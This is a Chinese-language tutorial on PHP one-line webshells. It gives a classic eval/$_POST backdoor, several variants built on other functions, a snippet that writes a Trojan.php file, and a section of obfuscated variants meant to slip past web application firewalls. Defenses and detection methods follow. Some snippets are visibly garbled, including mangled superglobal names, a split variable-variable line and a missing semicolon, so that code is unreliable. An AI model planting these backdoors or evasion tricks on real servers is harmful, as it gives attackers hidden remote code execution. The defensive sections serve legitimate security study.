PHP之一句话木马
字数 862 2025-08-27 12:33:31
PHP一句话木马详解与防御
一、什么是一句话木马
一句话木马是指仅需一行代码就能实现完整功能的Web后门程序。其核心特点是:
- 代码极其简短(通常只有一行)
- 功能强大,可执行任意PHP命令
- 通过HTTP请求接收外部指令
- 具有多种变形方式以绕过安全检测
二、基本工作原理
一句话木马由两个核心部分组成:
- 命令执行函数:如eval(), assert()等
- 数据接收部分:通过\(_GET、\)_POST或$_COOKIE接收输入
经典示例
<?php eval(@$_POST['a']); ?>
eval():执行PHP代码的函数$_POST['a']:接收POST参数'a'的值@:错误抑制符,增强隐蔽性
三、常见的一句话木马变种
1. 使用assert函数
<?php assert(@$_POST['a']); ?>
2. 使用create_function
<?php $fun = create_function('',$_POST['a']); $fun(); ?>
3. 使用call_user_func回调
<?php @call_user_func(assert,$_POST['a']); ?>
4. 使用preg_replace的/e修饰符
<?php @preg_replace("/abcde/e", $_POST['a'], "abcdefg"); ?>
5. 使用file_put_contents生成木马
<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>
四、绕过WAF的技术手段
1. 变量函数
<?php $a = "eval"; $a(@$_POST['a']); ?>
2. 可变变量
<?php
$bb="eval";
$a="bb";
$$
aa($_POST['a']);
?>
3. 字符串替换
<?php
$a=str_replace("Waldo", "", "eWaldoval");
$a(@$_POST['a']);
?>
4. Base64编码
<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>
5. 字符串连接
<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>
6. parse_str函数
<?php
$str="a=eval";
parse_str($str);
$a($_POST['a']);
?>
7. 组合函数技巧
<?php
function fun(){
return $_POST['a'];
}
@preg_replace("/test/e",fun(),"test test test");
?>
五、防御措施
1. 输入验证
- 对所有用户输入进行严格过滤
- 禁止特殊字符和PHP函数名
2. 禁用危险函数
在php.ini中禁用以下函数:
disable_functions = eval, assert, exec, system, passthru, popen, proc_open, create_function
3. 文件监控
- 监控网站目录的文件变化
- 检查可疑的PHP文件创建
4. WAF规则
- 配置WAF检测各种形式的一句话木马
- 更新WAF规则库以应对新型变种
5. 代码审计
- 定期进行代码安全审计
- 检查是否有可疑的eval、assert等函数调用
6. 日志分析
- 监控异常的POST/GET请求
- 分析访问日志中的可疑行为
六、检测方法
- 静态检测:扫描代码中的危险函数调用
- 动态检测:发送测试payload观察响应
- 行为分析:监控文件系统、网络和进程的异常行为
通过了解一句话木马的工作原理和变种技术,安全人员可以更好地防御这类威胁,而开发人员则应避免在代码中使用危险函数,确保Web应用的安全性。